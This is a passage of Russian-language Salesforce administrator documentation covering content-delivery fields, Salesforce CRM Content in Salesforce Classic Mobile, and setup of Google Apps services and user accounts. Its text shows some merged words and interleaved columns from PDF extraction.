Если данныйфлажок установлен, то
доставка содержимого может быть
просмотрена в интерактивном режиме на
настраиваемойвеб-странице. Настранице
сведений о доставке данное поле
называется «Разрешить просмотр в
обозревателе».

Разрешить получателю просмотр в
обозревателе
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ОписаниеПоле

Еслиданныйфлажокустановлен, тофайлы Microsoft® Word,
Excel и PowerPoint, используемые в доставке содержимого,

Разрешить получателю загрузку как PDF

могут быть преобразованы и загружены в формате PDF.
Данныйфлажокотображается вмастере созданиядоставок
только в том случае, если загруженныйфайл является
файлом PDF, Word, Excel или PowerPoint. На странице
сведений о доставке данное поле называется «Разрешить
загрузку как PDF».

Если данныйфлажок установлен, то получатели доставок
содержимого могут загружать исходныефайлы. В мастере

Разрешить загрузку в исходном формате

создания доставок данное поле называется «Разрешить
получателю загрузку как [тип_файла]», где переменная
[тип_файла] соответствует типу исходного файла
(например, PPT, PDF или DOC).

Пользователь, опубликовавшийфайлSalesforce CRM Content.
(Только для чтения)

Автор

Имя, присваиваемоедоставке содержимого. Поумолчанию
поле «Имя доставки содержимого» содержит имя файла
и дату создания.

Имя доставки содержимого

Еслиданныйфлажокустановлен, тополучателюдоступна
самая последняя версия файла Salesforce CRM Content.

Последняя версия доставки содержимого

Например, последняя версияфайла доступнаполучателю,
просматривающемудоставкусодержимогосегодня, вслучае
обновленияфайла после создания доставки содержимого.

Еслиданныйфлажокустановлен, тосрокдействиядоставки
содержимого истекает в выбранный день. В мастере

Дата истечения срока действия доставки содержимого

создания доставок данныйфлажок соответствует флажку
напротив поля «Дата истечения права доступа к
содержимому».

Пользователь, создавший доставку содержимого, а также
дата и время создания. (Только для чтения)

Создано

Описание, добавленное при публикациифайла Salesforce
CRM Content. (Только для чтения)

Описание

Дата отмены доступа к доставке содержимого. В мастере
созданиядоставокданнойдатесоответствуетдата, введенная
в поле «Дата истечения права доступа к содержимому».

Дата истечения срока действия

Если данныйфлажок установлен, то файл, используемый
в доставке содержимого, был загружен. Например, если

Файл загружен

доставка содержимого позволяет просматривать
содержимое в обозревателе, загружать содержимое в
исходномформате или в виде PDF-файла, то данный
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ОписаниеПоле

флажок устанавливается только в том случае, если
получатель загружает исходныйфайл или PDF-файл.
(Только для чтения)

Еслиданныйфлажокустановлен, тодоставка содержимого
просмотрена пользователем Salesforce. Внутренний

Внутренний просмотр

просмотр — это открытие URL-адреса доставки в системе
Salesforce (например, выбор ссылки «Просмотр» в
связанномсписке «Доставкисодержимого» или URL-адреса
доставки на странице сведений о доставке). Если
пользователь копирует и вставляет URL-адрес в адресную
строкуобозревателя, тотакойпросмотрсчитаетсявнешним.
(Только для чтения)

Пользователь, который последним изменил доставку
содержимого, а также дата и время изменения. (Только для
чтения)

Последнее изменение сделано

Датаивремяпоследнегопросмотрадоставкисодержимого.
Просмотр — это выбор URL-адреса доставки содержимого.
(Только для чтения)

Дата последнего просмотра

Если данныйфлажок установлен, то пользователь,
создавший доставку содержимого, получает электронное

Сообщить мне о первом просмотре или загрузке

уведомление о первом выборе URL-адреса доставки
содержимого.

Пользователь, который несет ответственность за доставку
содержимого. (Только для чтения)

Имя ответственного

Запись, связанная с доставкой содержимого (например,
организация, возможность или настраиваемый объект).

Связано с

Дополнительные сведения о записи могут быть
просмотренытолькоприналичииобщегодоступакданной
записи.

Еслиданныйфлажокустановлен, тодоставка содержимого
может быть просмотрена только после ввода

Требовать пароль для доступа к содержимому

предоставленного пароля. Пароль отображается на
странице сведений о доставке содержимого после ее
создания и в течение всего срока ее действия.

Имяфайла Salesforce CRM Content, добавленного в доставку
содержимого. (Только для чтения)

Заголовок
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ОписаниеПоле

Общее количество просмотров доставки содержимого,
включая внутренние и внешние просмотры. (Только для
чтения)

Количество просмотров

СМ. ТАКЖЕ:

Настройка доставок содержимого

Настройка Salesforce CRM Content для приложения Salesforce Classic
Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
конфигураций Salesforce
Classic Mobile:
• «Просмотр настройки и

конфигурации»

Для создания, изменения
или удаления наборов
данных Salesforce Classic
Mobile:
• «Управление

мобильными
конфигурациями»

Ниже перечислены рекомендации по внедрению Salesforce CRM Content в приложение
Salesforce Classic Mobile.

• В отличие от связанных файлов, записи содержимого синхронизируются с
устройством. Данныйалгоритмпозволяетпользователямдоставлять содержимоеиз
приложения даже в том случае, если размер файла, загружаемого на мобильное
устройство, превышает установленные ограничения.

• Приложениенеподдерживаетпоиск конкретнойчасти содержимого. Пользователи
могут толькопредоставлятьобщийдоступк содержимомуна вкладке «Содержимое»,
которое автоматически синхронизируется с устройством на основе фильтров
назначенной мобильной конфигурации.

• Приложение не поддерживает просмотр списка подписанного содержимого.
Пользователи не могут фильтровать список записей на вкладке «Содержимое» на
основе отдельной библиотеки.

• Приложение поддерживает предварительный просмотр и общий доступ к
содержимому, но не поддерживает обновление файла, связанного с записью
содержимого. Пользователи могут редактировать поля на странице сведений о
содержимом только при наличии обязательных полномочий.

• Предварительныйпросмотридоставкасодержимогодоступнытолькоприналичии
информационного подключения. В противном случае, пользователи могут
просматривать только страницу сведений о содержимом.

• Содержимое в приложении Salesforce Classic Mobile поддерживается только
устройствами BlackBerry и iPhone.

• Содержимое недоступно в бесплатной версии приложения Salesforce Classic Mobile.

• Мобильные полномочия не могут быть заблокированы для объекта содержимого.
В настоящее время объект содержимого доступен в приложении Salesforce Classic
Mobile только для чтения.

• Мобильный макет страницы для объекта содержимого не может быть изменен.
Страница сведений о содержимом запрограммирована на отображение нескольких
полей.

Чтобы настроить Salesforce CRM Content для конфигурации Salesforce Classic Mobile,
выполните указанные ниже действия.
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1. Введите строку «Конфигурация Salesforce Classic» в поле «Быстрый поиск» меню «Настройка» и выберите
пункт «Конфигурация Salesforce Classic», затем щелкните по имени мобильной конфигурации.

2. Нажмите кнопку «Правка» в связанном списке «Наборы данных».

3. Нажмите кнопку «Добавить...».

4. Выберите «Содержимое» во всплывающем окне и нажмите кнопку «OK».

5. Чтобы выбрать синхронизированные записи содержимого, воспользуйтесь фильтрами поля.

Пользователи не могут выполнять поиск содержимого в приложении Salesforce Classic Mobile, поэтому рекомендуем
настроитьфильтры, позволяющиепросматриватьна устройстве важное содержимое. Фильтрынемогутбыть созданы
на основе библиотек или подписок. Ниже перечислены некоторые рекомендации по настройке полезных условий
фильтра.

• Дата: выполните фильтрацию по полю «Дата последнего изменения», «Дата изменения содержимого» или
«Дата создания». Чтобы синхронизировать недавно обновленные записи содержимого, воспользуйтесь
специальными значениями дат (например, «ПОСЛЕДНИЕ 90 ДНЕЙ» или «ПОСЛЕДНИЕ 180 ДНЕЙ»).

• Ответственный: выполните фильтрацию по автору при наличии пользователей организации, ответственных
за публикацию содержимого.

• Типфайла: выполните фильтрацию по определенным типам документов. Например, группа, работающая с
возможностями, может просматривать только презентации или PDF-документы.

• Настраиваемые поля: выполните фильтрацию по настраиваемым полям при наличии настраиваемых полей,
предназначенных для категоризации содержимого. Например, при создании поля «Функциональное
использование» со значениями раскрывающегося списка настройте условие фильтра «"Функциональное
использование" равно "Продажи"».

6. Чтобыпредотвратитьиспользованиевсейпамятимобильногоустройства записямисодержимого, установитевторой
переключатель в разделе «Задать максимальное ограничение записи» и введите максимальное количество записей
содержимого, котороеможетбытьпереданоданнойконфигурациейнамобильныеустройства. Чтобывыбрать записи,
подлежащиесинхронизацииприпревышенииограниченияразмераданных, заданногодлямобильнойконфигурации,
воспользуйтесь раскрывающимися списками «Порядок сортировки» и «Сортировать».

7. Нажмите кнопку «Готово».

СМ. ТАКЖЕ:

Настройка приложения Salesforce Classic Mobile

Начальная настройка Salesforce CRM Content
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Google Apps

Начало работы с Salesforce и Google Apps

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра и изменения
параметров домена Google
Apps:
• «Настройка

приложения»

Для активации или
деактивации служб Google
Apps:
• «Настройка

приложения»

Для установки или удаления
пакетов Force.com
AppExchange:
• «Загрузка пакетов

AppExchange»

Для экспорта списка
пользователей в Google и
создания аккаунтов Google
Apps:
• «Настройка

приложения»

Google Apps — это набор интерактивных служб, предназначенных для обмена
информацией и совместной работы, которые поддерживаются компанией Google и
разработаны для бизнес-пользователей. При наличии аккаунта Google Apps
администраторы организации Salesforce могут включить службы «Документы Google» и
Gmail, а также установить приложения AppExchange, связанные с Google и доступные для
работы в системе Salesforce.

Действие 1. Создание аккаунта Google Apps
Чтобысоздать аккаунтGoogle Appsдляорганизации, воспользуйтесьоднимиз указанных
ниже способов.

• Введите строку «Google Apps» вполе «Быстрый поиск», выберитеПараметры
Google Apps, затем щелкните ссылку <b>«Регистрация»</b>, чтобы запустить
страницу создания учетной записи на веб-сайте Google. Пользователю будет
предложено зарегистрировать имя корпоративного домена или приобрести новое
имя домена у компании Google. Домен — это часть URL-адреса веб-сайта, которая
следует за компонентом «www.». Выполнитеинструкции Google понастройкенового
или текущего домена и аккаунта Google Apps.

• Если организация приобрела Salesforce и поддерживаемую приложениями Google
Appsфункцию, введите «Настройка Premier» в поле «Быстрый поиск», затем
выберите<b>«Настройка Premier»</b>, чтобысоздать учетнуюзаписьGoogle Apps
Premier Edition илиобновитьсуществующуюучетнуюзапись Standard Edition доуровня
Premier Edition. Дополнительную информацию см. в разделе «Начало работы с
Salesforce for Google Apps Supported».

Прим.: Службы Google Apps в системе Salesforce поддерживают только
бизнес-аккаунтыGoogle Appsинеподдерживаютличныеаккаунты. Личныеаккаунты
отличаются наличием домена gmail.com в адресе эл. почты (например,
imya@gmail.com является личным аккаунтом). Домен Google Apps, настроенный в
системе Salesforce, должен соответствовать домену организации,
зарегистрированному в Google (например, kompaniya.ru является
бизнес-аккаунтом).

Действие 2. Настройка параметров домена Google Apps
1. На странице «Параметры Google Apps»» в системе Salesforce нажмите кнопку <b>«Правка»</b>.

2. Выберите пользователя в поле «Административный контакт Google Apps». Данное поле содержит контактное
лицо для пользователей Google Apps (например, пользователь, которому недоступны службы Google Apps, должен
обращаться к административному контакту Google Apps). Административным контактом Google Apps может быть
пользователь, который не зарегистрирован в Google в качестве администратора Google Apps, но добавление новых
пользователей Google Apps доступно только администратору Google Apps.
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3. Заполните поле «Домен Google Apps» доменом, зарегистрированным в Google. Например, если URL-адрес
компании — http://www.acme.com и создан аккаунт Google Apps для домена acme.com, введите acme.com в
поле «Домен Google Apps».

4. Нажмите кнопку «Сохранить».

Действие 3. Активация служб Google Apps
1. В разделе «Активировать службы Google Apps» страницы «Параметры Google Apps» укажите службы Google Apps,

которые нужно активировать.

2. Чтобыактивироватьслужбу, щелкнитессылку«Правка»или«Установить». Ссылка«Правка»встолбце «Действие»
отображается напротив служб Google Apps, которые уже интегрированы в систему Salesforce, а ссылка «Установить»
напротивнеустановленныхприложений Force.com AppExchange. НижеперечисленыинтегрированныеслужбыGoogle
Apps.

• Добавление документов Google в систему Salesforce

• Отправить сообщение Gmail в Salesforce

• Кнопки и ссылки Gmail

• Компонент боковой панели Google Talk

Важное замечание: Система Salesforce больше не поддерживает приложение Google Talk. Альтернативные
способы использования приложения Google Talk см. в интерактивной справке Google Talk.

Дополнительную информацию о приложениях AppExchange, связанных с Google, см. на веб-узле
http://sites.force.com/appexchange.

Действие 4. Создание пользователей Google Apps
Службы Google Apps, активированные в системе Salesforce, становятся доступными для всех пользователей организации,
при условии создания аккаунтов Google Apps в корпоративном домене. Дополнительные аккаунты могут создаваться
администратором Google Apps, зарегистрированным в Google. Дополнительную информацию см. в разделе «Создание
аккаунтов Google Apps».

СМ. ТАКЖЕ:

Начало работы с Salesforce for Google Apps Supported

Настройка служб Google Apps в системе Salesforce

Активация службы «Документы Google» в системе Salesforce

Использование Gmail в системе Salesforce
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Начало работы с Salesforce for Google Apps Supported

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания аккаунта
Google Apps Premier Edition
в системе Salesforce:
• «Настройка

приложения»

ИЛИ

Административный
контакт Google Apps

Для обновления аккаунта
Google Apps Standard
Edition до версии Google
Apps Premier Edition в
системе Salesforce:
• «Настройка

приложения»

ИЛИ

Административный
контакт Google Apps

Функция Salesforce for Google Apps Supported включает в себя аккаунт Google Apps Premier
Edition для организации. Система Salesforce позволяет создавать аккаунт Google Apps
Standard Edition и обновлять его до аккаунта Google Apps Premier Edition.

После создания аккаунта Google Apps Premier Edition или обновления текущего аккаунта
Google Apps Standard Edition в системе Salesforce страница «Установка версии Premier»
содержит имя корпоративного домена, количество доступных лицензий Google Apps
Premier Edition и статус обновления (при его наличии).

Создание аккаунта Google Apps Premier Edition
В случае отсутствия аккаунта Google Apps для организации, выполните указанные ниже
действия, чтобы зарегистрировать аккаунт Google Apps Premier Edition и включить
функцию Salesforce for Google Apps Supported.

1. Введите строку «Настройка Premier» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт <b>«Настройка Premier»</b>.

2. Заполните поля в столбце A.

ОписаниеПоле

Домен, который должен быть
зарегистрирован в качестве аккаунта
Google Appsдляорганизации. Например,
для компании с URL-адресом
http://www.acme.com введите
acme.com в поле «Имя домена».

Имя домена

Данное значение используется для
создания администратора аккаунта
Google Apps. Например, для
администратора Google Apps с адресом
эл. почты ipetrov@acme.com введите
ipetrov. Данные, указанные в полях
«Имя пользователя» и «Пароль», могут

Имя пользователя

использоваться для входа в созданный
аккаунт Google Apps и при
необходимости могут быть изменены.

Данное значение используется для
создания администратора аккаунта

Личное имя

Google Apps. Данные, указанные в полях
«Имя пользователя» и «Пароль», могут
использоваться для входа в созданный
аккаунт Google Apps и при
необходимости могут быть изменены.

Данное значение используется для
создания администратора аккаунта

Фамилия
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ОписаниеПоле

Google Apps. Данные, указанные в полях «Имя
пользователя» и «Пароль», могут использоваться для
входа в созданный аккаунт Google Apps и при
необходимости могут быть изменены.

Данный адрес эл. почты используется для отправки
электронногоподтвержденияо созданииаккаунтаGoogle

Адрес эл. почты

Apps Premier Edition. Данныйадреснебудетиспользоваться
компанией Google в других целях.

Данныйпарольможетиспользоваться администратором
Google Apps для входа в службы Google Apps.

Пароль

Данныйпарольможетиспользоваться администратором
Google Apps для входа в службы Google Apps.

Подтверждение пароля

3. Нажмите кнопку «Создать аккаунт Google Apps Premier».

4. Чтобывключить Salesforce иGoogle Apps, внастройкевведите «Параметры Google Apps» вполе «Быстрый поиск»,
затем выберите <b>«Параметры Google Apps»</b>.

5. Выберите пользователя в поле «Административный контакт Google Apps». Данное поле содержит контактное
лицо для пользователей Google Apps (например, пользователь, которому недоступны службы Google Apps, должен
обращаться к административному контакту Google Apps). Административным контактом Google Apps может быть
пользователь, который не зарегистрирован в Google в качестве администратора Google Apps, но добавление новых
пользователей Google Apps доступно только администратору Google Apps.

6. Убедитесь, что поле «Домен Google Apps» содержит имя домена, зарегистрированное в Google.

7. Активируйте службы Google Apps в системе Salesforce. Дополнительную информацию см. в подразделе «Активация
служб Google Apps».

8. Создайте аккаунты Google Apps для отдельных пользователей организации. Дополнительную информацию см. в
разделе «Создание аккаунтов Google Apps».

Прим.: Количество доступных для создания аккаунтов Google Apps Premier Edition ограничивается количеством
лицензий, приобретенных организацией вместе с функцией Salesforce for Google Apps Supported.

Обновление аккаунта Google Apps до версии Premier Edition
Чтобы обновить текущий аккаунтGoogle Apps Standard Edition до версииGoogle Apps Premier Edition, выполните указанные
ниже действия.

1. Введите строку «Настройка Premier» в поле «Быстрый поиск» в меню «Настройка», затем выберите пункт
<b>«Настройка Premier»</b>.

2. Заполните поля в столбце B.
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ОписаниеПоле

Домен, которыйдолженбыть зарегистрированв качестве
аккаунтаGoogle Apps Premier Edition дляорганизации. Если

Имя домена

в организации включена функция Salesforce for Google
Apps Supported, то имя корпоративного домена
автоматически добавляется в данное поле.

16-значный маркер, необходимый для обновления
аккаунтаGoogle Apps Standard Edition доверсииGoogle Apps

Маркер Google Apps

Premier Edition. Данная информация доступна
администратору Google Apps на веб-сайте Google. Чтобы
получить дополнительную информацию, щелкните
«Извлечь маркер Google Apps» в столбце B.

3. Нажмите кнопку «Обновить текущий аккаунт до Google Apps Premier».

4. Чтобывключить Salesforce иGoogle Apps, внастройкевведите «Параметры Google Apps» вполе «Быстрый поиск»,
затем выберите <b>«Параметры Google Apps»</b>.

5. Принеобходимостиизменитезначениевполе «Административный контакт Google Apps». Данноеполесодержит
контактное лицо для пользователейGoogle Apps (например, пользователь, которому недоступны службыGoogle Apps,
должен обращаться к административному контакту Google Apps). Административным контактом Google Apps может
бытьпользователь, которыйне зарегистрированвGoogle в качестве администратораGoogle Apps, нодобавлениеновых
пользователей Google Apps доступно только администратору Google Apps.

6. Убедитесь, что поле «Домен Google Apps» содержит имя домена, зарегистрированное в Google.

7. При необходимости активируйте службы Google Apps в системе Salesforce. Дополнительную информацию см. в
подразделе «Активация служб Google Apps».

8. При необходимости создайте аккаунты Google Apps для отдельных пользователей организации. Дополнительную
информацию см. в разделе «Создание аккаунтов Google Apps».

Прим.: Количество доступных для создания аккаунтов Google Apps Premier Edition ограничивается количеством
лицензий, приобретенных организацией вместе с функцией Salesforce for Google Apps Supported.

СМ. ТАКЖЕ:

Начало работы с Salesforce и Google Apps
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Настройка служб Google Apps в системе Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров домена Google
Apps и активации или
деактивации служб:
• «Настройка

приложения»

Для установки или удаления
пакетов AppExchange:
• «Загрузка пакетов

AppExchange»

В меню «Настройка» введите «Параметры Google Apps» в поле «Быстрый поиск»,
затемвыберите<b>«Параметры Google Apps»</b>, чтобыизменитьпараметрыдомена
Google Apps, активировать или деактивировать службы Google Apps в системе Salesforce
или установить или удалить связанные с Google пакеты Force.com AppExchange.

Важное замечание: Чтобыполучитьдоступк компоненту «Salesforce иGoogle Apps»,
рекомендуем создать аккаунт Google Apps и настроить параметры домена Google
Apps в системе Salesforce. Дополнительную информацию о создании аккаунта и
настройке параметров домена см. в разделе «Начало работы с Salesforce и Google
Apps» на странице 3733.

Редактирование параметров домена Google Apps
Параметры домена содержат два значения: пользователь, выбранный в качестве
администратора аккаунта Google Apps, и домен организации, зарегистрированный в
Google. СлужбыGoogle Appsмогутбыть включенывсистеме Salesforce толькоприусловии
заполнениях обоих полей. Чтобы изменить параметры домена, выполните указанные
ниже действия.

1. Нажмите кнопку «Правка» в разделе «Настроить домен Google Apps».

2. При необходимости выберите нового пользователя в поле «Административный
контакт Google Apps». Данноеполесодержитконтактноелицодляпользователей
Google Apps (например, пользователь, которому недоступны службы Google Apps,
долженобращатьсяк административномуконтактуGoogle Apps). Административным
контактом Google Apps может быть пользователь, который не зарегистрирован в
Google в качестве администратора Google Apps, но добавление новых пользователей Google Apps доступно только
администратору Google Apps.

3. При необходимости измените значение поля «Домен Google Apps», зарегистрированное для аккаунта Google
Apps в Google. Как правило, поле «Домен Google Apps» содержит домен компании (например, «kompaniya.ru»).

Изменение служб Google Apps
В данном разделе перечислены службы Google Apps, интегрированные в систему Salesforce, и ссылки на различные
приложения Force.com AppExchange, связанные с Google и доступные для установки из каталога AppExchange.

Чтобыактивироватьилидеактивироватьинтегрированнуюслужбу, щелкните ссылку «Правка»напротивименинужной
службы. Ниже перечислены доступные службы.

• Добавление документов Google в систему Salesforce

• Отправить сообщение Gmail в Salesforce

• Кнопки и ссылки Gmail

• Компонент боковой панели Google Talk

Важное замечание: СистемаSalesforceбольшенеподдерживаетприложениеGoogle Talk. Альтернативныеспособы
использования приложения Google Talk см. в интерактивной справке Google Talk.
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Чтобы установить или удалить приложение AppExchange, щелкните «Установить» или «Удалить» напротив
соответствующего приложения. Полный список приложений AppExchange, связанных с Google, см. на веб-узле
http://sites.force.com/appexchange.

Советы по внедрению
• Дополнительную информацию о службах Google Apps см. в интерактивной справке Google.

• Службы Google Apps в системе Salesforce поддерживают только бизнес-аккаунты Google и не поддерживают личные
аккаунты. Личные аккаунты отличаются наличием домена gmail.com в адресе эл. почты (например, imya@gmail.com
является личным аккаунтом). Домен Google Apps, настроенный в системе Salesforce, должен соответствовать домену
организации, зарегистрированному в Google (например, kompaniya.ru является бизнес-аккаунтом).

• ПослеучетнойзаписиGoogle AppsдлясвоейорганизациисоздайтеучетныезаписиGoogle Appsдлясвоихпользователей
Salesforce. Вменю «Настройка» введите «Пользователи» вполе «Быстрый поиск», выберите<b>«Пользователи»</b>,
затем щелкнитеЭкспорт в Google Apps.

• Сообщите пользователям их регистрационные данные в Google Apps.

• Сообщите пользователям об изменениях, которые произойдут в системе Salesforce после активации служб Google
Apps.

• Полный список приложений Google, доступных в каталоге Force.com AppExchange, см. на веб-узле
http://sites.force.com/appexchange.

• ПоумолчаниюпользователиGoogle Appsмогут предоставлять доступ к документамGoogle тем аккаунтамGoogle Apps,
которые не относятся к корпоративному домену. Панель управления в аккаунте Google Apps содержит параметры
общего доступа, которые открывают доступ только пользователям корпоративного домена.

• Если служба «Добавление документов Google в систему Salesforce» деактивирована, то записи Salesforce не могут
использоваться для доступа к документам Google. Кроме того, документы Google, удаленные из записей и хранящиеся
в корзинахпользователей, удаляютсяиз системы Salesforceбез возможностивосстановления. Еслислужба «Добавление
документов Google в систему Salesforce» повторно активируется в течение 30 дней, то документы Google, связанные с
записямиSalesforceдодеактивацииданнойслужбы, подлежатвосстановлениювсоответствующихобластях. Деактивация
службы «Добавление документов Google в систему Salesforce» не влияет на документы Google в библиотеках Salesforce
CRM Content. Врезультате деактивациисохраняется связь документовGoogle с библиотеками, а самидокументыGoogle
перемещаются в корзину, откуда при необходимости могут быть восстановлены.

• Пользователи клиентского и партнерского порталов, которым доступна вкладка «Добавить» приложения Salesforce
CRM Content, могут создавать документы Google и связывать готовые документы Google с библиотекой Salesforce.
Пользователипортала, неимеющиедоступа кприложению Salesforce CRM Content, могут связывать готовыедокументы
Google с записями, но не могут использовать записи для создания документов Google, так как связанный список
«Документы Google, примечания и вложения» недоступен на портале. Пользователи портала не могут использовать
веб-кнопку «Добавить документ Google в Salesforce».

• Служба «Кнопки и ссылки Gmail» недоступна пользователям клиентского и партнерского порталов.

• Дополнительнуюинформациюоприобретеннойфункции Salesforce for Google Apps Supported см. в разделе «Начало
работы с Salesforce for Google Apps Supported» на странице 3735.

Рекомендации
• Для тестированияинтеграцииGoogle Appsрекомендуемиспользоватьорганизацию Developer Edition илибезопасную

организацию.

• Управление пользователями Google Apps аналогично управлению пользователями Salesforce. Например, чтобы
деактивироватьпользователяSalesforce, рекомендуемтакжедеактивироватьегоаккаунтGoogle Appsнапанелиуправления
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в аккаунте Google Apps организации. Дополнительную информацию об администрировании аккаунта Google Apps
для организации см. в интерактивной справке Google.

• Чтобы найти документ Google в системе Salesforce, воспользуйтесь функцией поиска.

СМ. ТАКЖЕ:

Начало работы с Salesforce и Google Apps

Создание аккаунтов Google Apps

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта пользователей
в Google:
• «Настройка

приложения»

Для создания аккаунтов
Google Apps:
• Администратор Google

Apps

После создания аккаунта Google Apps для организации и включения служб Google Apps
в Salesforce администратор может создать аккаунты Google Apps для отдельных
пользователей. Доступк службамGoogle Apps, включеннымвсистеме Salesforce, возможен
толькоприналичииаккаунтаGoogle Apps в корпоративномдомене, зарегистрированном
в Google. Аккаунт содержит имя пользователя и пароль, которые предоставляют доступ
ко всем службам Google Apps.

Прим.: Еслиорганизацияприобрелафункцию Salesforce for Google Apps Supported,
то количество доступных для создания аккаунтов Google Apps Premier Edition
ограничивается количеством приобретенных лицензий.

Чтобы экспортировать список пользователей в Google и создать аккаунты Google Apps
для всех пользователей, выполните указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Выберите список пользователей в раскрывающемся списке «Просмотр».

3. Чтобы экспортировать всех пользователей из списка, нажмите кнопку «Экспорт в
Google Apps». Чтобы экспортировать отдельных пользователей, выберите нужных
пользователей в столбце «Действие».

Прим.: Кнопка «Экспорт в Google Apps» отображается только в том случае,
если в организации включена поддержка службGoogle Apps. Дополнительную
информациюо включении службGoogle Apps в системе Salesforce см. в разделе
«Начало работы с Salesforce и Google Apps» на странице 3733.

4. На странице «Экспорт пользователей в Google Apps» щелкните ссылку на файл экспорта, доступную в действии 1.
Имяссылкиопределяется выбраннымсписковымпредставлением. Так, ссылка «Файлэкспорта All Users»на странице
«Экспорт пользователей в Google Apps» соответствует списковому представлению «Все пользователи».

5. Введите временные пароли для всех пользователей в открывшейся CSV-таблице. При необходимости измените
значениявполях «имя пользователя», «личное имя» и «фамилия». АккаунтыGoogle Appsсоздаютсяпутемдобавления
имени домена к именам пользователей, указанным в таблице. Например, аккаунты ivan.petrov@kompaniya.ru и
elena.ivanova@kompaniya.ru будут созданы для пользователей ivan.petrov и elena.ivanova при использовании домена
kompaniya.ru.

6. Сохраните таблицу на локальном компьютере.

7. Чтобы открыть страницу пакетного обновления организации для аккаунта Google Apps, щелкните ссылку «Средство
групповогоимпортапользователей Google Apps». Принеобходимостивыполните вход в качестве администратора
Google Apps. Создание дополнительных аккаунтов Google Apps в корпоративном домене доступно только тому
пользователю, который зарегистрирован в Google в качестве администратора аккаунта организации.
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8. Выполните инструкции Google по импорту данных из таблицы. Администратор Google Apps получает
отчет-подтверждение, а пользователь, для которого создан аккаунт Gmail, получает соответствующее электронное
уведомление.

9. Сообщите пользователям их регистрационные данные. Имя пользователя и пароль требуются для входа в любую
службу Google Apps, включенную в системе Salesforce.

СМ. ТАКЖЕ:

Начало работы с Salesforce и Google Apps

Активация службы «Документы Google» в системе Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации службы
«Добавление документов
Google в систему
Salesforce»:
• «Настройка

приложения»

Важное замечание: Службы Google Apps, активированные в системе Salesforce,
становятсядоступнымидлявсехпользователейорганизации. Данныеслужбымогут
использоваться только при наличии аккаунтовGoogle Apps в домене организации.
Дополнительнуюинформацию см. в разделе «Начало работы с Salesforce и Google
Apps».

Служба Google Docs™ позволяет создавать и редактировать настраиваемые документы,
таблицыипрезентации, а такжеподдерживаетвозможностьобщегодоступа с коллегами.

Чтобы активировать или деактивировать службу «Добавление документов Google в
систему Salesforce», выполните указанные ниже действия.

1. Внастройке введите «Параметры Google Apps» в поле «Быстрый поиск», затем
выберите <b>«Параметры Google Apps»</b>.

2. Щелкните ссылку «Правка» напротив службы «Добавление документов Google в
систему Salesforce» в разделе «Включить службы Google Apps».

3. Установите или снимите флажок «Активно».

4. Преждечемактивироватьслужбу «Добавлениедокументов GoogleвсистемуSalesforce»,
прочтите условия использования и установите флажок, подтверждающий ваше
согласие.

5. Нажмите кнопку «Сохранить».

Если в организации включена служба «Добавление документов Google в систему
Salesforce», то указанные ниже изменения позволяют создавать, редактировать и
просматривать документы Google, а также связывать их с записями Salesforce.

• Связанный список «Примечания и вложения» для организаций, активов, контактов, контрактов, интересов,
возможностей, продуктов и настраиваемых объектов называется «Документы Google, примечания и вложения».

• Связанный список «Вложения» для обращений, решений и кампаний называется «Документы Google и вложения».

• Если включена поддержка Salesforce CRM Content, то вкладка «Библиотеки» содержит раскрывающийся список
«Добавить документ Google».

Пользователимогут такжеустановитьвеб-кнопку «ДобавитьдокументGoogleвSalesforce», котораяпозволяет связывать
документ Google с несколькими записями Salesforce или библиотекой Salesforce CRM Content, не выполняя вход в систему
Salesforce.
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Советы по внедрению
• Дополнительную информацию о службе «Документы Google» см. в интерактивной справке Google.

• По умолчанию пользователи службы «Документы Google» могут предоставлять доступ к собственным документам
Google тем аккаунтам Google Apps, которые не относятся к корпоративному домену. Панель управления в аккаунте
Google Apps содержитпараметрыобщего доступа, которые открывают доступ толькопользователям корпоративного
домена.

• Пользователи клиентского и партнерского порталов, которым доступна вкладка «Добавить» приложения Salesforce
CRM Content, могут создавать документы Google и связывать готовые документы Google с библиотекой Salesforce.
Пользователипортала, неимеющиедоступа кприложению Salesforce CRM Content, могут связывать готовыедокументы
Google с записями, но не могут использовать записи для создания документов Google, так как связанный список
«Документы Google, примечания и вложения» недоступен на портале. Пользователи портала не могут использовать
веб-кнопку «Добавить документ Google в Salesforce».

• Если служба «Добавление документов Google в систему Salesforce» деактивирована, то записи Salesforce не могут
использоваться для доступа к документам Google. Кроме того, документы Google, удаленные из записей и хранящиеся
в корзинахпользователей, удаляютсяиз системы Salesforceбез возможностивосстановления. Еслислужба «Добавление
документов Google в систему Salesforce» повторно активируется в течение 30 дней, то документы Google, связанные с
записямиSalesforceдодеактивацииданнойслужбы, подлежатвосстановлениювсоответствующихобластях. Деактивация
службы «Добавление документов Google в систему Salesforce» не влияет на документы Google в библиотеках Salesforce
CRM Content. Врезультате деактивациисохраняется связь документовGoogle с библиотеками, а самидокументыGoogle
перемещаются в корзину, откуда при необходимости могут быть восстановлены.

